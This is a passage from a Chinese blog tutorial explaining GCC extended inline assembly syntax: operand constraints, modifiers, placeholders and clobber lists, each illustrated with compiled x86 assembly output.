Clobber/Modify，Output为空，而Input不为空，则Clobber/Modify前的冒号必须省略（前面的规则），而Output 前的冒号必须为保留。如果Clobber/Modify不为空，而Input和Output都为空，则Input和Output前的冒号都必须保留。比如 __asm__( " mov %%eax, %%ebx" : : "a"(foo) )和__asm__( " mov %%eax, %%ebx" : : : "ebx" )。<br />从上面的规则可以看到另外一个事实，区分一个内联汇编是基本格式的还是带有C/C++表达式格式的，其规则在于在"Instruction List"后是否有冒号(:)的存在，如果没有则是基本格式的，否则，则是带有C/C++表达式格式的。<br /><br />两种格式对寄存器语法的要求不同：基本格式要求寄存器前只能使用一个百分号(%)，这一点和非内联汇编相同；而带有C/C++表达式格式则要求寄存器前必须使用两个百分号(%%)，其原因我们会在后面讨论。<br /><br />1. Output<br /><br />Output用来指定当前内联汇编语句的输出。我们看一看这个例子：<br /><br />__asm__("movl %%cr0, %0": "=a" (cr0));<br /><br />这 个内联汇编语句的输出部分为"=r"(cr0)，它是一个&#8220;操作表达式&#8221;，指定了一个输出操作。我们可以很清楚得看到这个输出操作由两部分组成：括号括住 的部分(cr0)和引号引住的部分"=a"。这两部分都是每一个输出操作必不可少的。括号括住的部分是一个C/C++表达式，用来保存内联汇编的一个输出 值，其操作就等于C/C++的相等赋值cr0 = output_value，因此，括号中的输出表达式只能是C/C++的左值表达式，也就是说它只能是一个可以合法的放在C/C++赋值操作中等号(=) 左边的表达式。那么右值output_value从何而来呢？<br /><br />答案是引号中的内容，被称作&#8220;操作约束&#8221;（Operation Constraint），在这个例子中操作约束为"=a"，它包含两个约束：等号(=)和字母a，其中等号(=)说明括号中左值表达式cr0是一个 Write-Only的，只能够被作为当前内联汇编的输入，而不能作为输入。而字母a是寄存器EAX / AX / AL的简写，说明cr0的值要从eax寄存器中获取，也就是说cr0 = eax，最终这一点被转化成汇编指令就是movl %eax, address_of_cr0。现在你应该清楚了吧，操作约束中会给出：到底从哪个寄存器传递值给cr0。<br /><br />另外，需要特别说明的是，很多 文档都声明，所有输出操作的操作约束必须包含一个等号(=)，但GCC的文档中却很清楚的声明，并非如此。因为等号(=)约束说明当前的表达式是一个 Write-Only的，但另外还有一个符号&#8212;&#8212;加号(+)用来说明当前表达式是一个Read-Write的，如果一个操作约束中没有给出这两个符号中的 任何一个，则说明当前表达式是Read-Only的。因为对于输出操作来说，肯定是必须是可写的，而等号(=)和加号(+)都表示可写，只不过加号(+) 同时也表示是可读的。所以对于一个输出操作来说，其操作约束只需要有等号(=)或加号(+)中的任意一个就可以了。<br /><br />二者的区别是：等号(=)表示当前操作表达式指定了一个纯粹的输出操作，而加号(+)则表示当前操作表达式不仅仅只是一个输出操作还是一个输入操作。但无论是等号(=)约束还是加号(+)约束所约束的操作表达式都只能放在Output域中，而不能被用在Input域中。<br /><br />另外，有些文档声明：尽管GCC文档中提供了加号(+)约束，但在实际的编译中通不过；我不知道老版本会怎么样，我在GCC 2.96中对加号(+)约束的使用非常正常。<br /><br />我们通过一个例子看一下，在一个输出操作中使用等号(=)约束和加号(+)约束的不同。<br /><br />$ cat example2.c<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />int cr0 = 5; <br /><br />__asm__ __volatile__("movl %%cr0, %0":"=a" (cr0)); <br /><br />return 0; <br />}<br /><br />$ gcc -S example2.c<br /><br />$ cat example2.s<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />subl $4, %esp <br />movl $5, -4(%ebp) # cr0 = 5<br />#APP <br />movl %cr0, %eax <br />#NO_APP <br />movl %eax, %eax <br />movl %eax, -4(%ebp) # cr0 = %eax<br />movl $0, %eax <br />leave <br />ret <br /><br /><br />这个例子是使用等号(=)约束的情况，变量cr0被放在内存-4(%ebp)的位置，所以指令mov %eax, -4(%ebp)即表示将%eax的内容输出到变量cr0中。<br /><br />下面是使用加号(+)约束的情况：<br /><br />$ cat example3.c<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />int cr0 = 5; <br /><br />__asm__ __volatile__("movl %%cr0, %0" : "+a" (cr0)); <br /><br />return 0; <br />}<br /><br />$ gcc -S example3.c<br /><br />$ cat example3.s<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />subl $4, %esp <br />movl $5, -4(%ebp) # cr0 = 5<br />movl -4(%ebp), %eax # input ( %eax = cr0 )<br />#APP <br />movl %cr0, %eax<br />#NO_APP<br />movl %eax, -4(%ebp) # output (cr0 = %eax )<br />movl $0, %eax<br />leave<br />ret<br /><br /><br />从编译的结果可以看出，当使用加号(+)约束的时候，cr0不仅作为输出，还作为输入，所使用寄存器都是寄存器约束(字母a，表示使用eax寄存器)指定的。关于寄存器约束我们后面讨论。<br /><br />在Output域中可以有多个输出操作表达式，多个操作表达式中间必须用逗号(,)分开。例如：<br /><br />__asm__( <br />"movl %%eax, %0 \n\t" <br />"pushl %%ebx \n\t" <br />"popl %1 \n\t" <br />"movl %1, %2" <br />: "+a"(cr0), "=b"(cr1), "=c"(cr2));<br /><br /><br /><br />2、Input<br /><br />Input域的内容用来指定当前内联汇编语句的输入。我们看一看这个例子：<br /><br />__asm__("movl %0, %%db7" : : "a" (cpu-&gt;db7));<br /><br />例中Input域的内容为一个表达式"a"[cpu-&gt;db7)，被称作&#8220;输入表达式&#8221;，用来表示一个对当前内联汇编的输入。<br /><br />像输出表达式一样，一个输入表达式也分为两部分：带括号的部分(cpu-&gt;db7)和带引号的部分"a"。这两部分对于一个内联汇编输入表达式来说也是必不可少的。<br /><br />括 号中的表达式cpu-&gt;db7是一个C/C++语言的表达式，它不必是一个左值表达式，也就是说它不仅可以是放在C/C++赋值操作左边的表达式， 还可以是放在C/C++赋值操作右边的表达式。所以它可以是一个变量，一个数字，还可以是一个复杂的表达式（比如a+b/c*d）。比如上例可以改为： __asm__("movl %0, %%db7" : : "a" (foo))，__asm__("movl %0, %%db7" : : "a" (0x1000))或__asm__("movl %0, %%db7" : : "a" (va*vb/vc))。<br /><br />引号号中的 部分是约束部分，和输出表达式约束不同的是，它不允许指定加号(+)约束和等号(=)约束，也就是说它只能是默认的Read-Only的。约束中必须指定 一个寄存器约束，例中的字母a表示当前输入变量cpu-&gt;db7要通过寄存器eax输入到当前内联汇编中。<br /><br />我们看一个例子：<br /><br />$ cat example4.c<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />int cr0 = 5; <br /><br />__asm__ __volatile__("movl %0, %%cr0"::"a" (cr0)); <br /><br />return 0; <br />}<br /><br />$ gcc -S example4.c<br /><br />$ cat example4.s<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />subl $4, %esp <br />movl $5, -4(%ebp) # cr0 = 5 <br />movl -4(%ebp), %eax # %eax = cr0<br />#APP <br />movl %eax, %cr0 <br />#NO_APP <br />movl $0, %eax <br />leave <br />ret <br /><br /><br />我们从编译出的汇编代码可以看到，在"Instruction List"之前，GCC按照我们的输入约束"a"，将变量cr0的内容装入了eax寄存器。<br /><br />3. Operation Constraint<br /><br />每一个Input和Output表达式都必须指定自己的操作约束Operation Constraint，我们这里来讨论在80386平台上所可能使用的操作约束。<br /><br />1、寄存器约束<br /><br />当你当前的输入或输入需要借助一个寄存器时，你需要为其指定一个寄存器约束。你可以直接指定一个寄存器的名字，比如：<br /><br />__asm__ __volatile__("movl %0, %%cr0"::"eax" (cr0));<br /><br />也可以指定一个缩写，比如：<br /><br />__asm__ __volatile__("movl %0, %%cr0"::"a" (cr0));<br /><br />如果你指定一个缩写，比如字母a，则GCC将会根据当前操作表达式中C/C++表达式的宽度决定使用%eax，还是%ax或%al。比如：<br /><br />unsigned short __shrt;<br /><br />__asm__ ("mov %0，%%bx" : : "a"(__shrt));<br /><br />由于变量__shrt是16-bit short类型，则编译出来的汇编代码中，则会让此变量使用%ex寄存器。编译结果为：<br /><br />movw -2(%ebp), %ax # %ax = __shrt<br />#APP<br />movl %ax, %bx<br />#NO_APP<br /><br />无论是Input，还是Output操作表达式约束，都可以使用寄存器约束。<br /><br />下表中列出了常用的寄存器约束的缩写。<br /><br />约束 Input/Output 意义 <br />r I,O 表示使用一个通用寄存器，由GCC在%eax/%ax/%al, %ebx/%bx/%bl, %ecx/%cx/%cl, %edx/%dx/%dl中选取一个GCC认为合适的。 <br />q I,O 表示使用一个通用寄存器，和r的意义相同。 <br />a I,O 表示使用%eax / %ax / %al <br />b I,O 表示使用%ebx / %bx / %bl <br />c I,O 表示使用%ecx / %cx / %cl <br />d I,O 表示使用%edx / %dx / %dl <br />D I,O 表示使用%edi / %di <br />S I,O 表示使用%esi / %si <br />f I,O 表示使用浮点寄存器 <br />t I,O 表示使用第一个浮点寄存器 <br />u I,O 表示使用第二个浮点寄存器 <br /><br /><br />2、内存约束 <br />如果一个Input/Output操作表达式的C/C++表达式表现为一个内存地址，不想借助于任何寄存器，则可以使用内存约束。比如：<br /><br />__asm__ ("lidt %0" : "=m"(__idt_addr)); 或 __asm__ ("lidt %0" : :"m"(__idt_addr));<br /><br />我们看一下它们分别被放在一个C源文件中，然后被GCC编译后的结果：<br /><br />$ cat example5.c<br /><br />// 本例中，变量sh被作为一个内存输入<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />char* sh = (char*)&amp;__argc; <br /><br />__asm__ __volatile__("lidt %0" : : "m" (sh)); <br /><br />return 0; <br />} <br /><br />$ gcc -S example5.c<br /><br />$ cat example5.s<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />subl $4, %esp <br />leal 8(%ebp), %eax <br />movl %eax, -4(%ebp) # sh = (char*) &amp;__argc<br />#APP <br />lidt -4(%ebp) <br />#NO_APP <br />movl $0, %eax <br />leave <br />ret <br /><br /><br />$ cat example6.c<br /><br />// 本例中，变量sh被作为一个内存输出<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />char* sh = (char*)&amp;__argc; <br /><br />__asm__ __volatile__("lidt %0" : "=m" (sh)); <br /><br />return 0; <br />} <br /><br />$ gcc -S example6.c<br /><br />$ cat example6.s<br /><br />main:<br />pushl %ebp<br />movl %esp, %ebp<br />subl $4, %esp<br />leal 8(%ebp), %eax<br />movl %eax, -4(%ebp) # sh = (char*) &amp;__argc<br />#APP<br />lidt -4(%ebp)<br />#NO_APP<br />movl $0, %eax<br />leave<br />ret<br />首先，你会注意到，在这两个例子中，变量sh没有借助任何寄存器，而是直接参与了指令lidt的操作。<br /><br />其次，通过仔细观察，你会发现一个惊人的事实，两个例子编译出来的汇编代码是一样的！虽然，一个例子中变量sh作为输入，而另一个例子中变量sh作为输出。这是怎么回事？<br /><br />原来，使用内存方式进行输入输出时，由于不借助寄存器，所以GCC不会按照你的声明对其作任何的输入输出处理。GCC只会直接拿来用，究竟对这个C/C++表达式而言是输入还是输出，完全依赖与你写在"Instruction List"中的指令对其操作的指令。<br /><br />由 于上例中，对其操作的指令为lidt，lidt指令的操作数是一个输入型的操作数，所以事实上对变量sh的操作是一个输入操作，即使你把它放在 Output域也不会改变这一点。所以，对此例而言，完全符合语意的写法应该是将sh放在Input域，尽管放在Output域也会有正确的执行结果。<br /><br />所 以，对于内存约束类型的操作表达式而言，放在Input域还是放在Output域，对编译结果是没有任何影响的，因为本来我们将一个操作表达式放在 Input域或放在Output域是希望GCC能为我们自动通过寄存器将表达式的值输入或输出。既然对于内存约束类型的操作表达式来说，GCC不会自动为 它做任何事情，那么放在哪儿也就无所谓了。但从程序员的角度而言，为了增强代码的可读性，最好能够把它放在符合实际情况的地方。<br /><br />约束 Input/Output 意义 <br />m I,O 表示使用系统所支持的任何一种内存方式，不需要借助寄存器 </font><br /></font></div></td></tr></tbody></table><br /><br />
<div class="tit">[Linux]__asm__ __volatile__ GCC的内嵌汇编语法 AT&amp;T汇编语言语法（二）</div>
<div class="date">2010-03-17 11:35</div>
<table style="width: 100%; table-layout: fixed">
<tbody>
<tr>
<td>
<div id="blog_text" class="cnt"><font color="#556b2f"><a href="http://hi.baidu.com/hilyjiang/blog/item/2254e62afd6db42cd42af180.html"><font size="2" face="宋体">http://hi.baidu.com/hilyjiang/blog/item/2254e62afd6db42cd42af180.html</font></a><br /><br /><font size="2" face="宋体">3、立即数约束<br /><br />如果一个Input/Output操作表达式的C/C++表达式是一个数字常数，不想借助于任何寄存器，则可以使用立即数约束。<br /><br />由于立即数在C/C++中只能作为右值，所以对于使用立即数约束的表达式而言，只能放在Input域。<br /><br />比如：__asm__ __volatile__("movl %0, %%eax" : : "i" (100) ); <br /><br />立即数约束很简单，也很容易理解，我们在这里就不再赘述。<br /><br />约束 Input/Output 意义 <br />i I 表示输入表达式是一个立即数(整数)，不需要借助任何寄存器 <br />F I 表示输入表达式是一个立即数(浮点数)，不需要借助任何寄存器 <br /><br /><br />4、通用约束<br /><br />约束 Input/Output 意义 <br />g I,O 表示可以使用通用寄存器，内存，立即数等任何一种处理方式。 <br />0,1,2,3,4,5,6,7,8,9 I 表示和第n个操作表达式使用相同的寄存器/内存。 <br /><br /><br />通 用约束g是一个非常灵活的约束，当程序员认为一个C/C++表达式在实际的操作中，究竟使用寄存器方式，还是使用内存方式或立即数方式并无所谓时，或者程 序员想实现一个灵活的模板，让GCC可以根据不同的C/C++表达式生成不同的访问方式时，就可以使用通用约束g。比如：<br /><br />#define JUST_MOV(foo) __asm__ ("movl %0, %%eax" : : "g"(foo))<br /><br />JUST_MOV(100)和JUST_MOV(var)则会让编译器产生不同的代码。<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />JUST_MOV(100); <br /><br />return 0; <br />} <br /><br />编译后生成的代码为：<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />#APP <br />movl $100, %eax <br />#NO_APP <br />movl $0, %eax <br />popl %ebp <br />ret<br /><br />很明显这是立即数方式。而下一个例子：<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />JUST_MOV(__argc); <br /><br />return 0; <br />} <br /><br />经编译后生成的代码为：<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />#APP <br />movl 8(%ebp), %eax <br />#NO_APP <br />movl $0, %eax <br />popl %ebp <br />ret <br /><br />这个例子是使用内存方式。<br /><br />一个带有C/C++表达式的内联汇编，其操作表达式被按照被列出的顺序编号，第一个是0，第2个是1，依次类推，GCC最多允许有10个操作表达式。比如：<br /><br />__asm__ ("popl %0 \n\t"<br />"movl %1, %%esi \n\t"<br />"movl %2, %%edi \n\t"<br />: "=a"(__out)<br />: "r" (__in1), "r" (__in2));<br /><br />此例中，__out所在的Output操作表达式被编号为0，"r"(__in1)被编号为1，"r"(__in2)被编号为2。<br /><br />再如：<br /><br />__asm__ ("movl %%eax, %%ebx" : : "a"(__in1), "b"(__in2));<br /><br />此例中，"a"(__in1)被编号为0，"b"(__in2)被编号为1。<br /><br />如 果某个Input操作表达式使用数字0到9中的一个数字（假设为1）作为它的操作约束，则等于向GCC声明：&#8220;我要使用和编号为1的Output操作表达 式相同的寄存器（如果Output操作表达式1使用的是寄存器），或相同的内存地址（如果Output操作表达式1使用的是内存）&#8221;。上面的描述包含两个 限定：数字0到数字9作为操作约束只能用在Input操作表达式中，被指定的操作表达式（比如某个Input操作表达式使用数字1作为约束，那么被指定的 就是编号为1的操作表达式）只能是Output操作表达式。<br /><br />由于GCC规定最多只能有10个Input/Output操作表达式，所以事 实上数字9作为操作约束永远也用不到，因为Output操作表达式排在Input操作表达式的前面，那么如果有一个Input操作表达式指定了数字9作为 操作约束的话，那么说明Output操作表达式的数量已经至少为10个了，那么再加上这个Input操作表达式，则至少为11个了，以及超出GCC的限 制。<br /><br />5、Modifier Characters（修饰符）<br /><br />等号(=)和加号(+)用于对Output操作表达式的修 饰，一个Output操作表达式要么被等号(=)修饰，要么被加号(+)修饰，二者必居其一。使用等号(=)说明此Output操作表达式是Write- Only的，使用加号(+)说明此Output操作表达式是Read-Write的。它们必须被放在约束字符串的第一个字母。比如"a="(foo)是非 法的，而"+g"(foo)则是合法的。<br /><br />当使用加号(+)的时候，此Output表达式等价于使用等号(=)约束加上一个Input表达式。比如<br /><br />__asm__ ("movl %0, %%eax; addl %%eax, %0" : "+b"(foo)) 等价于<br /><br />__asm__ ("movl %1, %%eax; addl %%eax, %0" : "=b"(foo) : "b"(foo))<br /><br />但如果使用后一种写法，"Instruction List"中的别名也要相应的改动。关于别名，我们后面会讨论。<br /><br />像 等号(=)和加号(+)修饰符一样，符号(&amp;)也只能用于对Output操作表达式的修饰。当使用它进行修饰时，等于向GCC声明："GCC不得 为任何Input操作表达式分配与此Output操作表达式相同的寄存器"。其原因是&amp;修饰符意味着被其修饰的Output操作表达式要在所有的 Input操作表达式被输入前输出。我们看下面这个例子：<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />int __in1 = 8, __in2 = 4, __out = 3; <br /><br />__asm__ ("popl %0 \n\t"<br />"movl %1, %%esi \n\t"<br />"movl %2, %%edi \n\t"<br />: "=a"(__out)<br />: "r" (__in1), "r" (__in2));<br /><br />return 0; <br />} <br />此 例中，%0对应的就是Output操作表达式，它被指定的寄存器是%eax，整个Instruction List的第一条指令popl %0，编译后就成为popl %eax，这时%eax的内容已经被修改，随后在Instruction List后，GCC会通过movl %eax, address_of_out这条指令将%eax的内容放置到Output变量__out中。对于本例中的两个Input操作表达式而言，它们的寄存器约 束为"r"，即要求GCC为其指定合适的寄存器，然后在Instruction List之前将__in1和__in2的内容放入被选出的寄存器中，如果它们中的一个选择了已经被__out指定的寄存器%eax，假如是__in1，那 么GCC在Instruction List之前会插入指令movl address_of_in1, %eax，那么随后popl %eax指令就修改了%eax的值，此时%eax中存放的已经不是Input变量__in1的值了，那么随后的movl %1, %%esi指令，将不会按照我们的本意&#8212;&#8212;即将__in1的值放入%esi中&#8212;&#8212;而是将__out的值放入%esi中了。 <br />下面就是本例的编译结果，很明显，GCC为__in2选择了和__out相同的寄存器%eax，这与我们的初衷不符。<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />subl $12, %esp <br />movl $8, -4(%ebp) <br />movl $4, -8(%ebp) <br />movl $3, -12(%ebp) <br />movl -4(%ebp), %edx # __in1使用寄存器%edx<br />movl -8(%ebp), %eax # __in2使用寄存器%eax<br />#APP <br />popl %eax <br />movl %edx, %esi <br />movl %eax, %edi <br /><br />#NO_APP <br />movl %eax, %eax <br />movl %eax, -12(%ebp) # __out使用寄存器%eax<br />movl $0, %eax <br />leave <br />ret <br /><br />为 了避免这种情况，我们必须向GCC声明这一点，要求GCC为所有的Input操作表达式指定别的寄存器，方法就是在Output操作表达式"=a" (__out)的操作约束中加入&amp;约束，由于GCC规定等号(=)约束必须放在第一个，所以我们写作"=&amp;a"(__out)。 <br />下面是我们将&amp;约束加入之后编译的结果：<br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />subl $12, %esp <br />movl $8, -4(%ebp) <br />movl $4, -8(%ebp) <br />movl $3, -12(%ebp) <br />movl -4(%ebp), %edx #__in1使用寄存器%edx<br />movl -8(%ebp), %eax <br />movl %eax, %ecx # __in2使用寄存器%ecx<br />#APP <br />popl %eax <br />movl %edx, %esi <br />movl %ecx, %edi <br /><br />#NO_APP <br />movl %eax, %eax <br />movl %eax, -12(%ebp) #__out使用寄存器%eax<br />movl $0, %eax <br />leave <br />ret <br /><br />OK！这下好了，完全与我们的意图吻合。 <br />如 果一个Output操作表达式的寄存器约束被指定为某个寄存器，只有当至少存在一个Input操作表达式的寄存器约束为可选约束时，（可选约束的意思是可 以从多个寄存器中选取一个，或使用非寄存器方式），比如"r"或"g"时，此Output操作表达式使用&amp;修饰才有意义。如果你为所有的 Input操作表达式指定了固定的寄存器，或使用内存/立即数约束，则此Output操作表达式使用&amp;修饰没有任何意义。比如：<br /><br />__asm__ ("popl %0 \n\t" <br />"movl %1, %%esi \n\t" <br />"movl %2, %%edi \n\t" <br />: "=&amp;a"(__out) <br />: "m" (__in1), "c" (__in2)); <br /><br />此例中的Output操作表达式完全没有必要使用&amp;来修饰，因为__in1和__in2都被指定了固定的寄存器，或使用了内存方式，GCC无从选择。<br /><br />但如果你已经为某个Output操作表达式指定了&amp;修饰，并指定了某个固定的寄存器，你就不能再为任何Input操作表达式指定这个寄存器，否则会出现编译错误。比如：<br /><br />__asm__ ("popl %0 \n\t" <br />"movl %1, %%esi \n\t" <br />"movl %2, %%edi \n\t" <br />: "=&amp;a"(__out) <br />: "a" (__in1), "c" (__in2)); <br /><br />本例中，由于__out已经指定了寄存器%eax，同时使用了符号&amp;修饰，则再为__in1指定寄存器%eax就是非法的。<br /><br /><br />反过来，你也可以为Output指定可选约束，比如"r","g"等，让GCC为其选择到底使用哪个寄存器，还是使用内存方式，GCC在选择的时候，会首先排除掉已经被Input操作表达式使用的所有寄存器，然后在剩下的寄存器中选择，或干脆使用内存方式。比如：<br /><br />__asm__ ("popl %0 \n\t" <br />"movl %1, %%esi \n\t" <br />"movl %2, %%edi \n\t" <br />: "=&amp;r"(__out) <br />: "a" (__in1), "c" (__in2)); <br /><br />本例中，由于__out指定了约束"r"，即让GCC为其决定使用哪一格寄存器，而寄存器%eax和%ecx已经被__in1和__in2使用，那么GCC在为__out选择的时候，只会在%ebx和%edx中选择。<br /><br />前3 个修饰符只能用在Output操作表达式中，而百分号[%]修饰符恰恰相反，只能用在Input操作表达式中，用于向GCC声明：&#8220;当前Input操作表 达式中的C/C++表达式可以和下一个Input操作表达式中的C/C++表达式互换&#8221;。这个修饰符号一般用于符合交换律运算，比如加(+)，乘(*)， 与(&amp;)，或(|)等等。我们看一个例子：<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />int __in1 = 8, __in2 = 4, __out = 3; <br /><br />__asm__ ("addl %1, %0\n\t" <br />: "=r"(__out) <br />: "%r" (__in1), "0" (__in2)); <br /><br />return 0; <br />}<br />在 此例中，由于指令是一个加法运算，相当于等式__out = __in1 + __in2，而它与等式__out = __in2 + __in1没有什么不同。所以使用百分号修饰，让GCC知道__in1和__in2可以互换，也就是说GCC可以自动将本例的内联汇编改变为：<br /><br />__asm__ ("addl %1, %0\n\t"<br />: "=r"(__out)<br />: "%r" (__in2), "0" (__in1)); <br /><br />修饰符 Input/Output 意义 <br />= O 表示此Output操作表达式是Write-Only的 <br />+ O 表示此Output操作表达式是Read-Write的 <br />&amp; O 表示此Output操作表达式独占为其指定的寄存器 <br />% I 表示此Input操作表达式中的C/C++表达式可以和下一个Input操作表达式中的C/C++表达式互换 <br /><br /><br />4. 占位符<br /><br />什么叫占位符？我们看一看下面这个例子：<br /><br />__asm__ ("addl %1, %0\n\t"<br />: "=a"(__out)<br />: "m" (__in1), "a" (__in2));<br /><br />这 个例子中的%0和%1就是占位符。每一个占位符对应一个Input/Output操作表达式。我们在之前已经提到，GCC规定一个内联汇编语句最多可以有 10个Input/Output操作表达式，然后按照它们被列出的顺序依次赋予编号0到9。对于占位符中的数字而言，和这些编号是对应的。<br /><br />由于占位符前面使用一个百分号(%)，为了区别占位符和寄存器，GCC规定在带有C/C++表达式的内联汇编中，"Instruction List"中直接写出的寄存器前必须使用两个百分号(%%)。<br /><br />GCC 对其进行编译的时候，会将每一个占位符替换为对应的Input/Output操作表达式所指定的寄存器/内存地址/立即数。比如在上例中，占位符%0对应 Output操作表达式"=a"(__out)，而"=a"(__out)指定的寄存器为%eax，所以把占位符%0替换为%eax，占位符%1对应 Input操作表达式"m"(__in1)，而"m"(__in1)被指定为内存操作，所以把占位符%1替换为变量__in1的内存地址。<br /><br />也许有人认为，在上面这个例子中，完全可以不使用%0，而是直接写%%eax，就像这样：<br /><br />__asm__ ("addl %1, %%eax\n\t"<br />: "=a"(__out)<br />: "m" (__in1), "a" (__in2));<br /><br />和 上面使用占位符%0没有什么不同，那么使用占位符%0就没有什么意义。确实，两者生成的代码完全相同，但这并不意味着这种情况下占位符没有意义。因为如果 不使用占位符，那么当有一天你想把变量__out的寄存器约束由a改为b时，那么你也必须将addl指令中的%%eax改为%%ebx，也就是说你需要同 时修改两个地方，而如果你使用占位符，你只需要修改一次就够了。另外，如果你不使用占位符，将不利于代码的清晰性。在上例中，如果你使用占位符，那么你一 眼就可以得知，addl指令的第二个操作数内容最终会输出到变量__out中；否则，如果你不用占位符，而是直接将addl指令的第2个操作数写为%% eax，那么你需要考虑一下才知道它最终需要输出到变量__out中。这是占位符最粗浅的意义。毕竟在这种情况下，你完全可以不用。<br /><br />但对于这些情况来说，不用占位符就完全不行了：<br /><br />首 先，我们看一看上例中的第1个Input操作表达式"m"(__in1)，它被GCC替换之后，表现为addl address_of_in1, %%eax，__in1的地址是什么？编译时才知道。所以我们完全无法直接在指令中去写出__in1的地址，这时使用占位符，交给GCC在编译时进行替 代，就可以解决这个问题。所以这种情况下，我们必须使用占位符。<br /><br />其次，如果上例中的Output操作表达式"=a"(__out)改为" =r"(__out)，那么__out在究竟使用那么寄存器只有到编译时才能通过GCC来决定，既然在我们写代码的时候，我们不知道究竟哪个寄存器被选 择，我们也就不能直接在指令中写出寄存器的名称，而只能通过占位符替代来解决。<br /><br />5. Clobber/Modify<br /><br />有时候，你想通知GCC当前内联汇编语句可能会对某些寄存器或内存进行修改，希望GCC在编译时能够将这一点考虑进去。那么你就可以在Clobber/Modify域声明这些寄存器或内存。<br /><br />这 种情况一般发生在一个寄存器出现在"Instruction List"，但却不是由Input/Output操作表达式所指定的，也不是在一些Input/Output操作表达式使用"r","g"约束时由GCC 为其选择的，同时此寄存器被"Instruction List"中的指令修改，而这个寄存器只是供当前内联汇编临时使用的情况。比如：<br /><br />__asm__ ("movl %0, %%ebx" : : "a"(__foo) : "bx");<br /><br />寄存器%ebx出现在"Instruction List中"，并且被movl指令修改，但却未被任何Input/Output操作表达式指定，所以你需要在Clobber/Modify域指定"bx"，以让GCC知道这一点。<br /><br />因 为你在Input/Output操作表达式所指定的寄存器，或当你为一些Input/Output操作表达式使用"r","g"约束，让GCC为你选择一 个寄存器时，GCC对这些寄存器是非常清楚的&#8212;&#8212;它知道这些寄存器是被修改的，你根本不需要在Clobber/Modify域再声明它们。但除此之外， GCC对剩下的寄存器中哪些会被当前的内联汇编修改一无所知。所以如果你真的在当前内联汇编指令中修改了它们，那么就最好在Clobber/Modify 中声明它们，让GCC针对这些寄存器做相应的处理。否则有可能会造成寄存器的不一致，从而造成程序执行错误。<br /><br />在Clobber/Modify域中指定这些寄存器的方法很简单，你只需要将寄存器的名字使用双引号(" ")引起来。如果有多个寄存器需要声明，你需要在任意两个声明之间用逗号隔开。比如：<br /><br />__asm__ ("movl %0, %%ebx; popl %%ecx" : : "a"(__foo) : "bx", "cx" );<br /><br />这些串包括：<br /><br />声明的串 代表的寄存器 <br />"al","ax","eax" %eax <br />"bl","bx","ebx" %ebx <br />"cl","cx","ecx" %ecx <br />"dl","dx","edx" %edx <br />"si","esi" %esi <br />"di", "edi" %edi <br /><br /><br />由上表可以看出，你只需要使用"ax","bx","cx","dx","si","di"就可以了，因为其它的都和它们中的一个是等价的。<br /><br />如 果你在一个内联汇编语句的Clobber/Modify域向GCC声明某个寄存器内容发生了改变，GCC在编译时，如果发现这个被声明的寄存器的内容在此 内联汇编语句之后还要继续使用，那么GCC会首先将此寄存器的内容保存起来，然后在此内联汇编语句的相关生成代码之后，再将其内容恢复。我们来看两个例 子，然后对比一下它们之间的区别。<br /><br />这个例子中声明了寄存器%ebx内容发生了改变：<br /><br />$ cat example7.c<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />int in = 8; <br /><br />__asm__ ("addl %0, %%ebx" <br />: /* no output */ <br />: "a" (in) : "bx"); <br /><br />return 0; <br />}<br /><br />$ gcc -O -S example7.c<br /><br />$ cat example7.s<br /><br />main:<br />pushl %ebp<br />movl %esp, %ebp<br />pushl %ebx # %ebx内容被保存 <br />movl $8, %eax<br />#APP<br />addl %eax, %ebx<br />#NO_APP<br />movl $0, %eax<br />movl (%esp), %ebx # %ebx内容被恢复<br />leave<br />ret<br /><br />下面这个例子的C源码与上一个例子除了没有声明%ebx寄存器发生了改变之外，其它都相同。<br /><br />$ cat example8.c<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />int in = 8; <br /><br />__asm__ ("addl %0, %%ebx" <br />: /* no output */ <br />: "a" (in) ); <br /><br />return 0; <br />}<br /><br />$ gcc -O -S example8.c<br /><br />$ cat example8.s<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />movl $8, %eax <br />#APP <br />addl %eax, %ebx <br />#NO_APP <br />movl $0, %eax <br />popl %ebp <br />ret<br /><br />仔细对比一下example7.s和example8.s，你就会明白在Clobber/Modify域声明一个寄存器的意义。<br /><br />另 外需要注意的是，如果你在Clobber/Modify域声明了一个寄存器，那么这个寄存器将不能再被用做当前内联汇编语句的Input/Output操 作表达式的寄存器约束，如果Input/Output操作表达式的寄存器约束被指定为"r"或"g"，GCC也不会选择已经被声明在 Clobber/Modify中的寄存器。比如：<br /><br />__asm__ ("movl %0, %%ebx" : : "a"(__foo) : "ax", "bx");<br /><br />此例中，由于Output操作表达式"a"(__foo)的寄存器约束已经指定了%eax寄存器，那么再在Clobber/Modify域中指定"ax"就是非法的。编译时，GCC会给出编译错误。<br /><br />除 了寄存器的内容会被改变，内存的内容也可以被修改。如果一个内联汇编语句"Instruction List"中的指令对内存进行了修改，或者在此内联汇编出现的地方内存内容可能发生改变，而被改变的内存地址你没有在其Output操作表达式使用"m" 约束，这种情况下你需要使用在Clobber/Modify域使用字符串"memory"向GCC声明：&#8220;在这里，内存发生了，或可能发生了改变&#8221;。例 如：<br /><br />void * memset(void * s, char c, size_t count)<br />{<br />__asm__("cld\n\t"<br />"rep\n\t"<br />"stosb"<br />: /* no output */<br />: "a" (c),"D" (s),"c" (count)<br />: "cx","di","memory");<br />return s;<br />}<br /><br />此 例实现了标准函数库memset，其内联汇编中的stosb对内存进行了改动，而其被修改的内存地址s被指定装入%edi，没有任何Output操作表达 